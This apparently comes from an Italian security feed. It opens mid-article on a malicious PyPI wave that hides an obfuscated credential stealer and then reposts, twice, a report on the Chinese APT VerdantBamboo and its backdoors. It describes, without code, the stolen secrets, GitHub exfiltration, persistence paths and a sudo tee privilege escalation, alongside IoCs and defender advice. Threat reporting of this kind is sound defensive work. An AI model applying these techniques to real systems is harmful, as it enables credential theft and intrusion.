Il file _index.js è protetto da quattro strati di offuscamento progressivo: un wrapper try { eval(...) } che decodifica un array di char-code con sostituzione ROT-style; uno stage AES-GCM che decripta due blob embedded e scrive il payload principale in /tmp/p*.js; un bootstrapper Bun che gestisce il download del runtime; infine il payload principale, con rotated string table, decoder PBKDF2/SHA256 e un ulteriore strato AES-256-GCM con gzip.

Una volta deoffuscato, il payload è un credential stealer ad ampio spettro ottimizzato per ambienti di sviluppo: token GitHub (inclusi ghs_* e GitHub Actions runner secrets), npm, PyPI, RubyGems, JFrog, CircleCI, Anthropic. Sul fronte cloud: AWS credentials, STS, SSM Parameter Store, Secrets Manager; GCP Secret Manager; Azure Key Vault; Kubernetes service-account tokens; HashiCorp Vault. Vengono inoltre esfiltrate chiavi SSH, Docker configs, shell histories, file .env, .npmrc, .pypirc, configurazioni Claude/MCP e dati wallet.

Esfiltrazione via GitHub: camouflage su Anthropic API


Il payload include due percorsi di esfiltrazione. Il primo — apparentemente verso api.anthropic.com/v1/api — è di fatto un meccanismo di camouflage di rete: la route non esiste sui server Anthropic (restituisce 404), ma il traffico verso questo host ubiquo confonde i SIEM e rende difficile il blocco automatico. Il canale reale è GitHub: il payload crea repository pubblici con POST /user/repos, vi esegue commit di dati esfiltrati sotto path results/results-<timestamp>-<counter>.json, e può abusare di GitHub Actions per caricare artifact denominati format-results.

Il payload include anche meccanismi di persistenza post-compromissione: installa gh-token-monitor.sh come servizio systemd su Linux o LaunchAgent su macOS, e deposita file .claude/setup.mjs e .github/setup.js — estendendo il vettore di attacco agli ambienti di AI-assisted coding e workflow CI.

I pacchetti compromessi


I 37 artifact colpiscono 19 pacchetti riconducibili a un singolo account maintainer compromesso. I pacchetti ad alto impatto includono dynamo-release (framework per RNA-velocity single-cell), spateo-release (analisi trascrittomica spaziale), coolbox (toolkit Jupyter per genomica Hi-C/ChIP-Seq), e i tool ufish/napari-ufish per deep-learning. I download cumulativi di questi pacchetti si misurano in centinaia di migliaia. Il totale degli artifact compromessi monitorati da Socket attraverso npm e PyPI raggiunge 448.

Indicatori di Compromissione (IoC)

## Pacchetti PyPI compromessi (selezione)
bramin@0.0.2, @0.0.3, @0.0.4
cmd2func@0.2.2, @0.2.3
coolbox@0.4.1, @0.4.2
dynamo-release@1.5.4
executor-engine@0.3.4, @0.3.5
executor-http@0.1.3, @0.1.4
napari-ufish@0.0.2, @0.0.3
spateo-release@1.1.2
ufish@0.1.2, @0.1.3
uprobe@0.1.3, @0.1.4
## File malevoli
*-setup.pth
_index.js
## Hash SHA256
c539766062555d47716f8432e73adbe3a0c0c954a0b6c4005017a668975e275c
dc48b09b2a5954f7ff79ab8a2fd80202bd3b59c08c7cdbc6025aa923cb4c0efe
## Path filesystem
/tmp/.bun_ran
/tmp/b.zip  |  /tmp/b/bun
~/.config/gh-token-monitor/
~/.local/bin/gh-token-monitor.sh
~/.config/systemd/user/gh-token-monitor.service
~/Library/LaunchAgents/com.github.token-monitor.plist
## Network
hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
hxxps://api[.]anthropic[.]com/v1/api  (camouflage - non funzionale)
## Marker GitHub esfiltrazione
Repository description: "Hades - The End for the Damned"
Commit marker: "IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully"
Workflow name: "Run Copilot"
Artifact name: "format-results"
Path pattern: results/results-*.json

Due righe per i difensori


Chi ha installato versioni compromesse deve rimuovere i pacchetti, ricostruire gli environment e ruotare immediatamente tutte le credenziali accessibili: token GitHub/GitHub Actions, chiavi PyPI/npm/RubyGems, credenziali AWS/GCP/Azure/Kubernetes, token CircleCI e HashiCorp Vault, chiavi SSH e Docker credentials. A livello di detection statica, qualsiasi wheel PyPI contenente un file .pth eseguibile con download di runtime remoti e subprocess execution va trattato come alto rischio. A runtime, monitorare la catena python -> bun -> _index.js e connessioni verso github.com/oven-sh/bun/releases/download/. Sul fronte GitHub, ricercare negli organization log i marker Hades sopra elencati.

Fonte principale: Socket Research Team — socket.dev/blog/shai-hulud-descends-to-hades-miasma-pypi-wave


informatica ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

The media in this post is not displayed to visitors. To view it, please go to the original post.

✨ VerdantBamboo (UNC5221): il gruppo APT cinese che resta invisibile per 18 mesi con tre backdoor inedite
#CyberSecurity
insicurezzadigitale.com/verdan…

@informatica


VerdantBamboo (UNC5221): il gruppo APT cinese che resta invisibile per 18 mesi con tre backdoor inedite


Per diciotto mesi, il gruppo APT cinese VerdantBamboo ha vissuto nell’ombra delle reti di una grande organizzazione statunitense e del suo managed service provider, dispiegando tre famiglie di backdoor su appliance di rete prive di copertura EDR. La ricostruzione completa dell’incidente, pubblicata il 4 giugno 2026 dai ricercatori di Volexity, rivela un threat actor di straordinaria sofisticazione operativa, capace di reinfettare la rete vittima pochi giorni dopo la remediation.

Chi è VerdantBamboo (UNC5221 / WARP PANDA)


VerdantBamboo è il nome interno adottato da Volexity per il gruppo noto anche come UNC5221 (Mandiant) e WARP PANDA. Si tratta di un attore state-sponsored di origine cinese attivo almeno dal 2023, specializzato nello sfruttamento di zero-day su dispositivi di rete perimetrali: Ivanti Connect Secure, F5 BIG-IP, VMware vSphere e, in questo caso, appliance Linux proprietarie. Google Cloud Threat Intelligence e CISA hanno documentato più volte le sue campagne, con un filo conduttore costante: il deployment di BRICKSTORM su sistemi che non supportano agenti EDR, rendendo il rilevamento quasi impossibile con gli strumenti tradizionali.

Il vettore iniziale: Egnyte Storage Sync e una privilege escalation trascurata


In settembre 2025, Volexity viene coinvolta in un incident response dopo che un analista nota traffico anomalo proveniente da una macchina virtuale Linux con Egnyte Storage Sync. L’appliance, invece di connettersi ai server Egnyte, beacona verso un dominio controllato dall’attaccante nascosto dietro IP Cloudflare, e interroga 8.8.8.8 tramite DNS over HTTPS per evitare lookup DNS tracciabili.

L’ingresso iniziale è avvenuto attraverso credenziali SSH compromesse per l’account egnyteservice, il cui profilo sudo conteneva una misconfiguration critica: il comando tee era eseguibile come root, consentendo la scrittura arbitraria di file su tutto il filesystem. VerdantBamboo ha sfruttato questa escalation per scrivere un entry cron in /etc/cron.d/ssync, eseguire il backdoor BRICKSTORM posizionato in /usr/sbin/, e poi rimuovere il file cron per minimizzare le tracce. Il compromesso risaliva ad almeno 18 mesi prima della scoperta. Egnyte ha poi corretto la vulnerability nella versione Storage Sync v13.13.

La catena d’attacco: dall’MSP alla Microsoft 365


Una volta sul sistema Storage Sync, VerdantBamboo ha sfruttato le capacità proxy di BRICKSTORM per accedere all’ambiente Microsoft 365 della vittima attraverso gli IP del VPN SSL aziendale, bypassando così le Conditional Access Policy che avrebbero bloccato accessi da IP sconosciuti. L’obiettivo era mimetizzarsi nel traffico legittimo.

Parallelamente, l’MSP che gestiva il sistema era stato anch’esso compromesso. Volexity ha trovato sul firewall pfSense dell’MSP una variante FreeBSD di BRICKSTORM, offuscata con gobfuscate, con backdating della compromissione di almeno 18 mesi. Con ogni probabilità, l’attaccante si era introdotto nell’organizzazione vittima passando prima per l’MSP, rubando credenziali e dettagli infrastrutturali.

Il ritorno dopo la remediation: persistenza da manuale


Pochi giorni dopo che Volexity aveva completato le attività di contenimento — isolando il sistema Storage Sync e portando offline il VPN SSL — VerdantBamboo è tornato. Il firewall della vittima, ora esposto direttamente su Internet dopo la dismissione del vecchio VPN, era accessibile via interfaccia amministrativa web. Usando credenziali amministrative rubate (senza MFA), l’attaccante ha riconfigurato un VPN SSL sul firewall, si è riconnesso alla rete interna e ha deployato PLENET su un NAS Synology. Un secondo ciclo di remediation si è reso necessario.

Le tre backdoor: BRICKSTORM, PLENET e AGENTPSD


BRICKSTORM è il malware principale del gruppo, con varianti scritte in Golang (le più vecchie) e Rust. Il design è modulare: il namespace wssoft contiene protocol handler, task dispatcher e task extensions che il developer può personalizzare per ogni target. Nelle varianti analizzate, i task extension attivi sono tre: command (shell remota), socks (proxy SOCKS5) e web (accesso al filesystem). Il C2 usa WebSocket su HTTPS, con risoluzione DNS over HTTPS verso 8.8.8.8 per evitare query tracciabili.

PLENET (chiamato GRIMBOLT da Google Cloud) è un backdoor cross-platform scritto in .NET Core e compilato con Native AOT — una funzionalità introdotta in .NET 7 nel novembre 2022 che produce un binario nativo standalone con il runtime embedded. La scelta di Native AOT è deliberata: l’immaturity degli strumenti di analisi per questo formato complica notevolmente il reverse engineering. PLENET usa anch’esso WebSocket per il C2 e la libreria Nerdbank.Streams per multiplexing, richiamando lo stesso schema architetturale di BRICKSTORM. Capacità: shell interattiva, esecuzione remota di comandi, manipolazione file, switching del server C2.

AGENTPSD è una semplice reverse shell Python compilata con PyInstaller, configurata per connettersi a un dominio C2 diverso da quello usato da BRICKSTORM. Il suo ruolo è esclusivamente di fallback: se BRICKSTORM venisse rimosso o smettesse di funzionare, AGENTPSD garantirebbe un percorso di rientro alternativo. Significativamente, durante l’intero periodo dell’intrusione AGENTPSD non è mai stato utilizzato attivamente — BRICKSTORM era sempre disponibile.

L’infrastruttura C2 e la risposta alle investigazioni


Volexity ha sviluppato una fingerprint Censys per identificare i server C2 di BRICKSTORM: una risposta HTTP di lunghezza zero (Golang HTTP server), SSH su FreeBSD, certificato Cloudflare, massimo quattro servizi esposti. Questa firma ha consentito di mappare diversi server C2. Tuttavia, tra il 18 e il 23 settembre 2025, tutti i server che corrispondevano al pattern hanno disattivato i servizi sulla porta 443. Il 24 settembre Google ha pubblicato un nuovo report su BRICKSTORM. Volexity valuta con bassa confidenza che VerdantBamboo fosse consapevole di essere sotto investigazione e abbia volontariamente smantellato l’infrastruttura esposta.

Due righe per i difensori


Il caso VerdantBamboo mette in luce vulnerabilità sistemiche difficili da correggere con gli strumenti tradizionali. Le raccomandazioni chiave emerse dall’analisi di Volexity sono le seguenti: applicare MFA su tutti gli accessi amministrativi, inclusi VPN e interfacce di gestione dei firewall; monitorare il traffico verso DNS over HTTPS su endpoint non previsti; estendere il perimetro di monitoraggio alle appliance di rete (NAS, firewall, appliance cloud sync) che non supportano EDR, eventualmente tramite network security monitoring; verificare le configurazioni sudo su tutte le appliance Linux gestite; assicurarsi che i fornitori MSP applichino gli stessi standard di sicurezza dell’organizzazione committente.

Indicatori di Compromissione (IoC)

## AGENTPSD
# Nome file: egnyte_host_monitor_client
MD5:    98ee964edeb5a988c3bba8ea1e57fe0e
SHA1:   e952c18272efa1c3d73d0a5381bcf443c02743fe
SHA256: ee41e06ed96182ce80cd4544a6abd5d7719c4a5c0e5ddb266a83842d39b99b0a
## BRICKSTORM (Egnyte Storage Sync – Linux)
# Nome file: luserput
MD5:    58d4eccc982c9e9b1b98aa62c514e53a
SHA1:   f4d77958a12a0778283d3e679b24b18f82e332c4
SHA256: 40d264cf9c73923932c3dfd52d20f46ff602be3fea8dc6ecc71aca46e6067bf5
## BRICKSTORM (pfSense – FreeBSD, gobfuscated)
# Nome file: blacklist
MD5:    84ad78b2bab946c3677fdc28ebd8a774
SHA1:   681075027553546c119ec447eb8df84633dcffce
SHA256: f70abe93112637d3ec2f6c5e058ccac0307ebf63e496f38588cbfc17a8f8a264
## PLENET (aka GRIMBOLT, .NET Native AOT)
# Nome file: ovs-dbctl
MD5:    95dc2289427ed29b8b996d0e3d1b78cb
SHA1:   f8d93c1769e877aae7e7d5c289a467b5ae371c7a
SHA256: eb141a43958802727a6c813452450c10b92704bea4474ee5fd87c0a1be326e2e
## Censys fingerprint per C2 BRICKSTORM
host.service_count<=4 AND host.services:(banner_hash_sha256:"e28a96f983b8605decd2ac1db16ebad5fa741a6aa4e585a38ade0e5ad7d6cec0" AND port=443) AND host.services.cert.parsed.issuer.organization="CloudFlare, Inc." AND host.services:(port=22 AND software.vendor:openbsd)
## IoC completi (Volexity GitHub)
https://github.com/volexity/threat-intel/tree/main/2026/2026-06-04%20VerdantBamboo

informatica ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please log in.

VerdantBamboo (UNC5221): il gruppo APT cinese che resta invisibile per 18 mesi con tre backdoor inedite


@Informatica (Italy e non Italy)
Volexity ricostruisce un'intrusione durata 18 mesi da parte del gruppo APT cinese VerdantBamboo/UNC5221. Tre backdoor inedite — BRICKSTORM, PLENET e AGENTPSD — deployate su appliance senza EDR per bypassare le


VerdantBamboo (UNC5221): il gruppo APT cinese che resta invisibile per 18 mesi con tre backdoor inedite


Per diciotto mesi, il gruppo APT cinese VerdantBamboo ha vissuto nell’ombra delle reti di una grande organizzazione statunitense e del suo managed service provider, dispiegando tre famiglie di backdoor su appliance di rete prive di copertura EDR. La ricostruzione completa dell’incidente, pubblicata il 4 giugno 2026 dai ricercatori di Volexity, rivela un threat actor di straordinaria sofisticazione operativa, capace di reinfettare la rete vittima pochi giorni dopo la remediation.

Chi è VerdantBamboo (UNC5221 / WARP PANDA)


VerdantBamboo è il nome interno adottato da Volexity per il gruppo noto anche come UNC5221 (Mandiant) e WARP PANDA. Si tratta di un attore state-sponsored di origine cinese attivo almeno dal 2023, specializzato nello sfruttamento di zero-day su dispositivi di rete perimetrali: Ivanti Connect Secure, F5 BIG-IP, VMware vSphere e, in questo caso, appliance Linux proprietarie. Google Cloud Threat Intelligence e CISA hanno documentato più volte le sue campagne, con un filo conduttore costante: il deployment di BRICKSTORM su sistemi che non supportano agenti EDR, rendendo il rilevamento quasi impossibile con gli strumenti tradizionali.

Il vettore iniziale: Egnyte Storage Sync e una privilege escalation trascurata


In settembre 2025, Volexity viene coinvolta in un incident response dopo che un analista nota traffico anomalo proveniente da una macchina virtuale Linux con Egnyte Storage Sync. L’appliance, invece di connettersi ai server Egnyte, beacona verso un dominio controllato dall’attaccante nascosto dietro IP Cloudflare, e interroga 8.8.8.8 tramite DNS over HTTPS per evitare lookup DNS tracciabili.

L’ingresso iniziale è avvenuto attraverso credenziali SSH compromesse per l’account egnyteservice, il cui profilo sudo conteneva una misconfiguration critica: il comando tee era eseguibile come root, consentendo la scrittura arbitraria di file su tutto il filesystem. VerdantBamboo ha sfruttato questa escalation per scrivere un entry cron in /etc/cron.d/ssync, eseguire il backdoor BRICKSTORM posizionato in /usr/sbin/, e poi rimuovere il file cron per minimizzare le tracce. Il compromesso risaliva ad almeno 18 mesi prima della scoperta. Egnyte ha poi corretto la vulnerability nella versione Storage Sync v13.13.

La catena d’attacco: dall’MSP alla Microsoft 365


Una volta sul sistema Storage Sync, VerdantBamboo ha sfruttato le capacità proxy di BRICKSTORM per accedere all’ambiente Microsoft 365 della vittima attraverso gli IP del VPN SSL aziendale, bypassando così le Conditional Access Policy che avrebbero bloccato accessi da IP sconosciuti. L’obiettivo era mimetizzarsi nel traffico legittimo.

Parallelamente, l’MSP che gestiva il sistema era stato anch’esso compromesso. Volexity ha trovato sul firewall pfSense dell’MSP una variante FreeBSD di BRICKSTORM, offuscata con gobfuscate, con backdating della compromissione di almeno 18 mesi. Con ogni probabilità, l’attaccante si era introdotto nell’organizzazione vittima passando prima per l’MSP, rubando credenziali e dettagli infrastrutturali.

Il ritorno dopo la remediation: persistenza da manuale


Pochi giorni dopo che Volexity aveva completato le attività di contenimento — isolando il sistema Storage Sync e portando offline il VPN SSL — VerdantBamboo è tornato. Il firewall della vittima, ora esposto direttamente su Internet dopo la dismissione del vecchio VPN, era accessibile via interfaccia amministrativa web. Usando credenziali amministrative rubate (senza MFA), l’attaccante ha riconfigurato un VPN SSL sul firewall, si è riconnesso alla rete interna e ha deployato PLENET su un NAS Synology. Un secondo ciclo di remediation si è reso necessario.

Le tre backdoor: BRICKSTORM, PLENET e AGENTPSD


BRICKSTORM è il malware principale del gruppo, con varianti scritte in Golang (le più vecchie) e Rust. Il design è modulare: il namespace wssoft contiene protocol handler, task dispatcher e task extensions che il developer può personalizzare per ogni target. Nelle varianti analizzate, i task extension attivi sono tre: command (shell remota), socks (proxy SOCKS5) e web (accesso al filesystem). Il C2 usa WebSocket su HTTPS, con risoluzione DNS over HTTPS verso 8.8.8.8 per evitare query tracciabili.

PLENET (chiamato GRIMBOLT da Google Cloud) è un backdoor cross-platform scritto in .NET Core e compilato con Native AOT — una funzionalità introdotta in .NET 7 nel novembre 2022 che produce un binario nativo standalone con il runtime embedded. La scelta di Native AOT è deliberata: l’immaturity degli strumenti di analisi per questo formato complica notevolmente il reverse engineering. PLENET usa anch’esso WebSocket per il C2 e la libreria Nerdbank.Streams per multiplexing, richiamando lo stesso schema architetturale di BRICKSTORM. Capacità: shell interattiva, esecuzione remota di comandi, manipolazione file, switching del server C2.

AGENTPSD è una semplice reverse shell Python compilata con PyInstaller, configurata per connettersi a un dominio C2 diverso da quello usato da BRICKSTORM. Il suo ruolo è esclusivamente di fallback: se BRICKSTORM venisse rimosso o smettesse di funzionare, AGENTPSD garantirebbe un percorso di rientro alternativo. Significativamente, durante l’intero periodo dell’intrusione AGENTPSD non è mai stato utilizzato attivamente — BRICKSTORM era sempre disponibile.

L’infrastruttura C2 e la risposta alle investigazioni


Volexity ha sviluppato una fingerprint Censys per identificare i server C2 di BRICKSTORM: una risposta HTTP di lunghezza zero (Golang HTTP server), SSH su FreeBSD, certificato Cloudflare, massimo quattro servizi esposti. Questa firma ha consentito di mappare diversi server C2. Tuttavia, tra il 18 e il 23 settembre 2025, tutti i server che corrispondevano al pattern hanno disattivato i servizi sulla porta 443. Il 24 settembre Google ha pubblicato un nuovo report su BRICKSTORM. Volexity valuta con bassa confidenza che VerdantBamboo fosse consapevole di essere sotto investigazione e abbia volontariamente smantellato l’infrastruttura esposta.

Due righe per i difensori


Il caso VerdantBamboo mette in luce vulnerabilità sistemiche difficili da correggere con gli strumenti tradizionali. Le raccomandazioni chiave emerse dall’analisi di Volexity sono le seguenti: applicare MFA su tutti gli accessi amministrativi, inclusi VPN e interfacce di gestione dei firewall; monitorare il traffico verso DNS over HTTPS su endpoint non previsti; estendere il perimetro di monitoraggio alle appliance di rete (NAS, firewall, appliance cloud sync) che non supportano EDR, eventualmente tramite network security monitoring; verificare le configurazioni sudo su tutte le appliance Linux gestite; assicurarsi che i fornitori MSP applichino gli stessi standard di sicurezza dell’organizzazione committente.

Indicatori di Compromissione (IoC)

## AGENTPSD
# Nome file: egnyte_host_monitor_client
MD5:    98ee964edeb5a988c3bba8ea1e57fe0e
SHA1:   e952c18272efa1c3d73d0a5381bcf443c02743fe
SHA256: ee41e06ed96182ce80cd4544a6abd5d7719c4a5c0e5ddb266a83842d39b99b0a
## BRICKSTORM (Egnyte Storage Sync – Linux)
# Nome file: luserput
MD5:    58d4eccc982c9e9b1b98aa62c514e53a
SHA1:   f4d77958a12a0778283d3e679b24b18f82e332c4
SHA256: 40d264cf9c73923932c3dfd52d20f46ff602be3fea8dc6ecc71aca46e6067bf5
## BRICKSTORM (pfSense – FreeBSD, gobfuscated)
# Nome file: blacklist
MD5:    84ad78b2bab946c3677fdc28ebd8a774
SHA1:   681075027553546c119ec447eb8df84633dcffce
SHA256: f70abe93112637d3ec2f6c5e058ccac0307ebf63e496f38588cbfc17a8f8a264
## PLENET (aka GRIMBOLT, .NET Native AOT)
# Nome file: ovs-dbctl
MD5:    95dc2289427ed29b8b996d0e3d1b78cb
SHA1:   f8d93c1769e877aae7e7d5c289a467b5ae371c7a
SHA256: eb141a43958802727a6c813452450c10b92704bea4474ee5fd87c0a1be326e2e
## Censys fingerprint per C2 BRICKSTORM
host.service_count<=4 AND host.services:(banner_hash_sha256:"e28a96f983b8605decd2ac1db16ebad5fa741a6aa4e585a38ade0e5ad7d6cec0" AND port=443) AND host.services.cert.parsed.issuer.organization="CloudFlare, Inc." AND host.services:(port=22 AND software.vendor:openbsd)
## IoC completi (Volexity GitHub)
https://github.com/volexity/threat-intel/tree/main/2026/2026-06-04%20VerdantBamboo